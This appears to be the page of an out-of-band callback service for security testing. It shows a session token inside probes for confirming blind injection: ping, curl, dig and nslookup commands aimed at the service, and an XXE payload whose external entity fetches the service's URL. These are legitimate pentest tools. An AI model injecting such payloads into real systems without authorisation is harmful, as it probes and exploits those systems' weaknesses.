$ ping -c1 -p 0045ff6e499bc55aec7f89821ff29600 unhack.ca
 
$ curl http://unhack.ca/p/45ff6e499bc55aec7f89821ff296
 
$ dig 45ff6e499bc55aec7f89821ff296 @unhack.ca
 
$ dig 45ff6e499bc55aec7f89821ff296.ns.unhack.ca
 
C:\> nslookup 45ff6e499bc55aec7f89821ff296 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/45ff6e499bc55aec7f89821ff296">]>
    <foo>&xxe;</foo>
Waiting for ping...